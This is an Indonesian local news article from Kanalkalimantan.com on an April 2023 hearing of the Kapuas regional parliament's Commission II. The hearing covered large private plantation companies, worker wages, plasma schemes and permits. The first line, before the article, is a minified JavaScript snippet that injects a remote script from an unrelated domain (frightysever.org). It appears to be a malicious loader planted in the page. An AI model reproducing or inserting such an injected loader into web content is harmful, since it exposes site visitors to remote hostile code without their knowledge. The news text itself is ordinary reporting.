(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bahas Persoalan PBS, Komisi II DPRD Kapuas Gelar RDP

KANALKALIMANTAN.COM, KUALA KAPUAS – Komisi II DPRD Kapuas menggelar Rapat Dengar Pendapat (RDP) terkait sejumlah persoalan pada Perusahaan Besar Swasta (PBS) yang beroperasi di Kabupaten Kapuas, di ruang rapat gabungan Komisi DPRD Kapuas, Senin (3/4/2023).

RDP ini dilaksanakan sesuai jadwal yang ditetapkan Badan Musyawarah DPRD Kapuas.

RDP tersebut dipimpin Sekretaris Komisi II DPRD Kapuas H Darwandie didampingi Berinto SH MH, serta diikuti anggota Komisi II lainnya.

Dari pihak eksekutif rapat dihadiri Asisten I Setda Kapuas Drs Ilham Anwar, Kepala Bappelitbangda Kapuas Drs Catur Feriyanto, dan sejumlah perwakilan OPD terkait.

Rapat juga dihadiri perwakilan serikat buruh F Hukatan SBSI dan Ormas APP GMTPS Kalteng.

Dalam RDP dibahas tentang plasma, hak-hak dan pengupahan karyawan, perizinan dan hal-hal lain pada PBS yang ada di wilayah Kapuas.

Sekretaris Komisi II DPRD Kapuas H Darwandie mengatakan salah satu rekomendasi dalam rapat itu, Pemkab Kapuas diminta menyampaikan daftar list lengkap PBS yang beroperasi di wilayah Kapuas.

“Dalam waktu dekat pemerintah daerah wajib menyampaikan data list daftar perusahaan yang ada di Kabupaten Kapuas, dengan matrik lengkapnya, artinya perusahaan itu dibangun berapa hektare, lokasinya dimana, diterbitkan izin apa, luasan berapa dan lain lainnya, juga data-data dari kantor BPN,” kata Darwandie.

“BPN akan menyampaikan daftar peta bidang yang sedang diproses dan sudah terproses karena BPN ini adalah pintu gerbang terakhir dalam penerbitan HGU,” jelasnya.

“DPRD bersama pihak eksekutif akan melakukan evaluasi dan monitoring ke beberapa PBS.

Kita akan sama-sama menilai bagaimana kesungguhan PBS yang ada di daerah dan itu tidak hanya PBS juga sektor lain,” ujar Darwandie. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk